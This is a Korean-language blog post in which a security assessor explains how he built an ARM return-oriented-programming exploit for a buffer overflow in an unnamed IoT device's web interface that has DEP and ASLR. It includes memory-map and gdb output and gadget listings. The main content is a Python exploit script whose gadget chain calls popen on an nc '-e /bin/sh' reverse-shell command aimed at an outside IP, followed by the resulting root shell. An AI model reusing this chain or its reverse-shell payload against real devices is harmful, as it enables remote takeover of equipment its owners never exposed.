arm_rop.md

나는 IoT 취약점 진단 업무를 하고 있다. 얼마 전, 한 장비에서 BoF 취약점을 발생하는 것을 확인했다. DEP가 적용되어 있었고, ASLR도 적용되어 있었다. 그래서 익스플로잇이 성공하기 위해선 rop 기법을 적용해야 했고, 성공했다.


본 포스트는 장비에 대한 내용은 모두 제거한, arm rop 제작 내용만을 작성할 예정이다.



1. BoF 확인과 메모리 보호 기법 확인

본 장비의 취약점은 웹으로 전달받은 파라미터를 사이즈 제한 없이 sprintf의 매개변수로 사용해서 발생하였으며, BoF 오프셋 길이는 1293 이었다. DEP와 ASLR이 적용되지 않았다면 스택에 바로 쉘코드를 넣으면 되기 때문에 DEP와 ASLR이 적용되어 있는지 확인하는 작업이 필요하다.

해당 장비는 쉘을 획득할 수 있어서 손쉽게 DEP와 ASLR이 적용되어 있는지 확인할 수 있었다.

 
xxxxxxxxxx
//DEP 확인
root@....:~# cat /proc/프로세스num/maps
(생략)
b6e43000-b6f04000 r-xp 00000000 00:0c 488        /usr/lib/libstdc++.so.6
b6f04000-b6f08000 r--p 000c0000 00:0c 488        /usr/lib/libstdc++.so.6
b6f08000-b6f0a000 rw-p 000c4000 00:0c 488        /usr/lib/libstdc++.so.6
b6f0a000-b6f12000 rw-p 00000000 00:00 0
b6f12000-b6f2b000 r-xp 00000000 00:0c 870        /usr/lib/libqcmap_client.so.1
b6f2b000-b6f2e000 rw-p 00019000 00:0c 870        /usr/lib/libqcmap_client.so.1
b6f2e000-b6f2f000 rw-p 00000000 00:00 0
bef4f000-bef70000 rw-p 00000000 00:00 0          [stack]
befb9000-befba000 r-xp 00000000 00:00 0          [sigpage]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]

DEP를 확인하기 위해서는 해당 프로세스의 맵을 확인하면 된다. 현재 [stack]은 bef4f000-bef70000 메모리에 존재하고, execute 권한이 없다. 권한은 r=read, w=write, e=execute 이다.

 
xxxxxxxxxx
//ASLR 확인
root@....:~# sysctl kernel.randomize_va_space
kernel.randomize_va_space = 1

0이면 적용이 되어있지 않은 것이고, 1이면 랜덤 스택 & 랜덤 라이브러리, 2이면 랜덤 스택 & 랜덤 라이브러리 & 랜덤 힙 설정이다. 현재 1이므로, 스택과 라이브러리에 ASLR이 적용 되어있다.



2. payload 작성

스택에 실행 권한이 없고, ASLR이 적용되어 있어서 스택 및 바이너리의 로드 주소가 매번 변경된다. 따라서 rop를 이용해서 아래와 같은 코드를 실행시켜야한다.

 
xxxxxxxxxx
system("/bin/nc 192.168.39.24 999 -e /bin/sh")

arm에서는 함수에 매개변수를 전달할 때 r0~r4 레지스터를 이용한다.

즉, system 함수의 주소로 PC를 이동 시킬 때, r0"/bin/nc 192.168.39.24 999 -e /bin/sh" 문자열의 주소값이 되어 있도록 하면 된다.

방법은 여러 방법이 존재할 수 있다. read 함수랑 write 함수 이용하고 함수 주소를 overwrite하는 방법도 있겠고 나처럼 버퍼에 해당 문자열을 넣고 버퍼의 주소를 계산해서 하는 방법이 있겠다.

맨 처음 생각한 rop 공격 payload의 순서는 아래와 같다.


​ 1) "/bin/nc 192.168.39.24 999 -e /bin/sh" 문자열을 스택에 넣는다. (dummy에 포함)

​ 2) mov r[0-9], sp 명령어를 이용하여 스택의 주소를 특정 레지스터에 넣는다.

​ 3) 1번에서 삽입한 문자열의 주소가 시작되는 오프셋 만큼 레지스터의 값을 뺀다.

​ 4) 계산한 레지스터의 값을 r0의 값으로 설정한다.

​ 5) system 함수를 호출한다.



3. 문제 당면

3-1. system 함수 주소에 null이 있다!!!

system 함수의 주소를 확인하자.

 
xxxxxxxxxx
root@mdm9607:~# gdb --pid 프로세스num
GNU gdb (GDB) 7.8.1
Copyright (C) 2014 Free Software Foundation, Inc.
(생략)
0x49d5a144 in select () from /lib/libc.so.6
(gdb) print system
$1 = {<text variable, no debug info>} 0x49dd8e00 <system>

큰일났다. system 함수의 주소 마지막에 0x00 즉, null 값이 포함되어 있다. 해당 시스템은 arm little endian이라서 0x00이 제일 먼저 들어가기 때문에 사용할 수 없는 주소다.


그럼 system함수 대신에 사용할 수 있는 함수들을 찾아야 한다.

대표적인 예로 exec 계열의 함수 같은 걸 사용할 수 있다. 하지만 exec 계열의 함수들은 인자를 넘겨줄 때 배열로 넘겨줘야 하기 때문에 rop 로 만들어서 사용하기엔 골치가 아프다.

그래서 나는!!!!!!! popen이라는 함수를 사용했다. popen 함수는 파이프 기능을 함수로 사용할 수 있도록 한 것이다.

popen("/bin/nc 192.168.39.24 999 -e /bin/sh","r") 를 호출할 것이다. 즉, popen 주소로 이동하기 전에 r0에는 "/bin/nc 192.168.39.24 999 -e /bin/sh"의 주소값을, r1에는 "r"의 주소값을 넣으면 된다.



3-2. 문자열 뒤에 null을 넣어야한다.

그런데 생각해보자. 문자열의 끝을 알리기 위해서는 0x00 즉, null값이 있어야 한다. 그런데 우리는 웹 파라미터의 값으로 데이터를 전달하기 때문에 null값을 공격할 때 넣으면 그 뒤로는 데이터를 전달 할 수가 없다. 그래서 rop 가젯에서 해당 문자열 맨 뒤에 null값을 넣어주는 루틴도 있어야한다.



4. 최종 payload

문제점을 모두 해결하고 난 후의 payload는 아래와 같다.

​ 1) "/bin/nc 192.168.39.24 999 -e /bin/sh" 문자열을 스택에 넣는다. (dummy에 포함)

​ 2) "r" 문자열을 스택에 넣는다. (dummy에 포함)

​ 3) mov r[0-9], sp 명령어를 이용하여 스택의 주소를 특정 레지스터에 넣는다.

​ 4) 1번에서 삽입한 문자열의 주소가 시작되는 오프셋 만큼 레지스터의 값을 뺀다.

5) 1번 문자열의 길이만큼 레지스터의 값을 더한다.

​ 6) str r[0-9], #0 명령어를 이용하여 해당 주소에 null값을 store 한다.

​ 7) 4번에서 계산한 주소를 r0의 값으로 설정한다.

​ 8) 2번에서 삽입한 문자열의 주소가 시작되는 오프셋 만큼 레지스터의 값을 뺀다.

9) 2번 문자열의 길이만큼 레지스터의 값을 더한다.

​ 10) str r[0-9], #0 명령어를 이용하여 해당 주소에 null값을 store 한다.

​ 11) 8번에서 계산한 주소를 r1의 값으로 설정한다.

​ 12) popen 함수를 호출한다.


5. rop 가젯 만들기

5-1. 가젯으로 사용할 수 있는 리스트 추출

rop 가젯으로 사용하기 위해서는 pc를 원하는 곳으로 옮겨야 하기 때문에 무조건 명령어의 마지막이 brunch 문 또는 pop pc의 명령어가 있어야한다. rop 가젯은 해당 프로그램이 사용하는 기계어들을 이용해야 하기 때문에, 해당 프로세스의 메모리를 재확인한다. 여기서 실행 권한이 있는 코드들은 사용할 수 있다.

 
xxxxxxxxxx
root@....:~# cat /proc/프로세스num/maps
00008000-00024000 r-xp 00000000 00:0c 1296       /usr/bin/....(취약한 바이너리)
00024000-00026000 rw-p 0001c000 00:0c 1296       /usr/bin/....(취약한 바이너리)
00026000-0006b000 rw-p 00000000 00:00 0          [heap]
49c60000-49c80000 r-xp 00000000 00:0c 2138       /lib/ld-linux.so.3
49c87000-49c88000 r--p 0001f000 00:0c 2138       /lib/ld-linux.so.3
49c88000-49c89000 rw-p 00020000 00:0c 2138       /lib/ld-linux.so.3
49c90000-49db8000 r-xp 00000000 00:0c 2163       /lib/libc.so.6
49db8000-49dbf000 ---p 00128000 00:0c 2163       /lib/libc.so.6
49dbf000-49dc1000 r--p 00127000 00:0c 2163       /lib/libc.so.6
49dc1000-49dc3000 rw-p 00129000 00:0c 2163       /lib/libc.so.6
49dc3000-49dc5000 rw-p 00000000 00:00 0
49dc8000-49ddd000 r-xp 00000000 00:0c 2146       /lib/libpthread.so.0
49ddd000-49de4000 ---p 00015000 00:0c 2146       /lib/libpthread.so.0
49de4000-49de5000 r--p 00014000 00:0c 2146       /lib/libpthread.so.0
49de5000-49de6000 rw-p 00015000 00:0c 2146       /lib/libpthread.so.0
(생략)

메모리 확인한 결과, 취약한 바이너리는 주소에 0x00이 들어있기 떄문에 사용 불가능한 바이너리가 되었다. 그리고 나머지 라이브러리 함수들은 사용할 수 있는 주소의 영역에 있다. /lib/ld-linux.so.3 , /lib/libc.so.6, /lib/libpthread.so.0 등의 바이너리를 사용해서 rop 가젯을 만들어야겠다.


/lib/ld-linux.so.3 , /lib/libc.so.6, /lib/libpthread.so.0 외 3개의 바이너리를 kali로 복사하고, ROPgadget.py를 이용하여 해당 바이너리에서 rop 가젯으로 사용할 수 있는 것들을 추출했다.


ROPgadget.py : https://github.com/JonathanSalwan/ROPgadget/


 
xxxxxxxxxx
// ROP 가젯 리스트 생성
root@kali:~/Desktop/ROPgadget-master# ./ROPgadget.py --binary /root/Desktop/ld-linux.so.3 >> /root/Desktop/gadgets.txt
// 생성된 가젯 리스트 확인
Gadgets information
============================================================
(생략)
0x49c70f9c : add sp, sp, #0xc ; bx lr
0x49c70f18 : add sp, sp, #0xc ; pop {lr} ; add sp, sp, #0x10 ; bx lr
0x49c77664 : add sp, sp, #0xc ; pop {r4, r5, pc}
0x49c783cc : add sp, sp, #0xc ; pop {r4, r5, r6, r7, pc}
0x49c6b864 : add sp, sp, #0xc ; pop {r4, r5, r6, r7, r8, sb, pc}
(생략)


5-2. rop payload 가젯 만들기

모든 바이너리에서 추출한 gadgets.txt 파일을 이용하여 4. 최종 payload 에서 작성한 payload를 만들어야한다. 이 과정이 제일 복잡하고 짜증나는 과정이다....ㅠ_ㅠ 나도 해당 payload를 만드는 가젯을 성공적으로 만드는데 까지 약 3일 정도 소요되었다.


BoF 가 일어나는 바로 그 시점의 스택과 레지스터들의 상태는 아래 그림과 같았다.



sp를 맞추기 위해 먼저 2개의 dummy를 넣어주고 시작하였고, 그 이후는 엑셀에 아래와 같이 그려가며 rop 가젯을 맞춰갔다.




6. Exploit script 코드 작성

엑셀로 rop 가젯을 모두 만들고 나서는 Exploit을 수행해 줄 파이썬 스크립트를 작성했다.

 
xxxxxxxxxx
import urllib2, urllib, struct
dummy = "AAAA"
bof_dummy1 = "A"*125
bof_argv2 = "r"
bof_dummy2 = "A"*31
bof_cmd="/bin/nc 192.168.39.24 999 -e /bin/sh"   # 36bit
bof_dummy3 = "A"*1100
bof = bof_dummy1+bof_argv2+bof_dummy2+bof_cmd+bof_dummy3
exploit_data  = struct.pack('<L',0x4a1a070c) #pop {pc} 
exploit_data += dummy*2
exploit_data += struct.pack('<L',0x49d114f8) #mov r0, lr ; pop {r4, pc}
exploit_data += dummy
exploit_data += struct.pack('<L',0x4a1a2e4c) #mov r3, r0 ; mov r2, #0 ; mov r0, r2 ; mov r1, r3 ; bx lr
exploit_data += struct.pack('<L',0x4a1a5048) #mov r2, r3 ; mov r0, r3 ; mov r1, r2 ; pop {r4, r5, r6, r7, pc}
exploit_data += dummy*4
exploit_data += struct.pack('<L',0x49d8d0e4) #mov r1, sp ; blx r2 ; add sp, sp, #0x30 ; pop {r4, pc}
exploit_data += struct.pack('<L',0x49ced27c) #mov r0, r1 ; pop {r4, pc}
exploit_data += dummy
exploit_data += struct.pack('<L',0x49dcf5d8) #sub r0, r0, #0x4c0 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49d0baa0) #add r0, r0, #1 ; pop {r4, r5, pc}
exploit_data += dummy*2
exploit_data += struct.pack('<L',0x49dcf4a4) #mov r3, #0 ; str r3, [r0] ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x4a1a01c0) #sub r0, r0, #1 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x4a1a2e4c) #mov r3, r0 ; mov r2, #0 ; mov r0, r2 ; mov r1, r3 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49d85508) #add r0, r3, #0x20 ; pop {r4, pc}
exploit_data += dummy
exploit_data += struct.pack('<L',0x49d11b64) #add r0, r0, #8 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49d11b64) #add r0, r0, #8 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49d11b64) #add r0, r0, #8 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49d11b64) #add r0, r0, #8 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49d11b54) #add r0, r0, #4 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49dcf4a4) #mov r3, #0 ; str r3, [r0] ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x4a1ab344) #add r0, r1, #8 ; pop {r3, pc}
exploit_data += dummy
exploit_data += struct.pack('<L',0x49d11b64) #add r0, r0, #8 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49d11b64) #add r0, r0, #8 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49d11b64) #add r0, r0, #8 ; bx lr
exploit_data += "A"*0x34
exploit_data += struct.pack('<L',0x49cf0acc) #address of popen
## 이후에는 공격에 필요한 웹 파라미터들이 들어가고, URL Request를 수행함. (생락함)
 
xxxxxxxxxx
# 공격이 성공되어 획득된 쉘
$ nc -lvp 999
listening on [any] 999 ...
connect to [192.168.39.24] from ............. [192.168.39.1] 58575
id
uid=0(root) gid=0(root) groups=0(root)


+ Recent posts